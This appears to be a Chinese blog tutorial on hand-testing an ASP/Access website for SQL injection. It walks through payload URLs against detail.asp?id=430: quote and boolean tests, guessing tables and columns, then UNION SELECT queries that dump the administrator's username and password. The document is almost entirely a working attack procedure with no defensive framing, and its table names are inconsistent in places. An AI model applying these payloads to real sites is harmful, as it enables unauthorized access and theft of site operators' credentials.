手工檢測網站是否有注入點

手工檢測網站是否有注入點

www.yoyibk.top

拿到一網站首先,判斷是否存在注入,http://www.XXX.com/detail.asp?

id=430',加單引號,判斷是什麼數據庫

http://www.XXX.com/detail.asp?id=430 and 1=1

http://www.XXX.com/detail.asp?id=430 and 1=2 返回錯誤

這3點證明的確存在注入漏洞

現在判斷是數據庫裡的表名

判斷有不有admin表

http://www.XXX.com/detail.asp?id=430 and (select count(*) from admin)<>0

返回正常說明存在_web_login表

現在猜測字段

判斷_web_login中是否有username這個字段

http://www.XXX.com/detail.asp?id=430 and (select username from web_login)<>' '

返回錯誤說明_web_long表中沒有username這個字段

判斷_web_login中是否有id這個字段

http://www.XXX.com/detail.asp?id=430 and (select id from web_login)<>0

返回[Microsoft][ODBC Microsoft Access Driver] 子查詢最多能返回一個記錄 說明存在而且不只一個,因為用

戶有多個

判斷是否有userid這個字段

http://www.XXX.com/detail.asp?id=430 and (select userid from _web_login where id=1)<>' '

返回正常說明有userid字段

判斷是否有passwd這個字段

http://www.XXX.com/detail.asp?id=430 and (select passwd from _web_login where id=1)<>' '

返回正常說明存在passwd字段

現在表和字段都猜出來了

表:_web_login 字段:id,userid,passwd

現在要猜字段裡的內容,有多種方法,用聯合查詢

先猜了一下,一共有24個字段

先猜第一個語句查詢的是22個字段

http://www.XXX.com/detail.asp?id=430 union (select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from _web_login)

返回[Microsoft][ODBC Microsoft Access Driver] 在聯合查詢中所選定的兩個數據表或查詢中的列數不匹配

說明字段不和

選猜24個

http://www.XXX.com/detail.asp?id=430 union (select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from _web_login)

返回正確,並表明要在網站顯示的字段內容,是第4和第8,如果把4換成userid,那麼4的位置將顯示userid的內容

http://www.XXX.com/detail.asp?id=430 union (select 1,2,3,userid,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from _web_login)

返回4的位置為admin,說明第一個用戶是admin,現在我們來暴出密碼,把第8換成

passwd,將在第8的位置顯示passwd的內容

http://www.XXX.com/detail.asp?id=430 union (select 1,2,3,userid,5,6,7,passwd,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from _web_login)


分享到:


相關文章: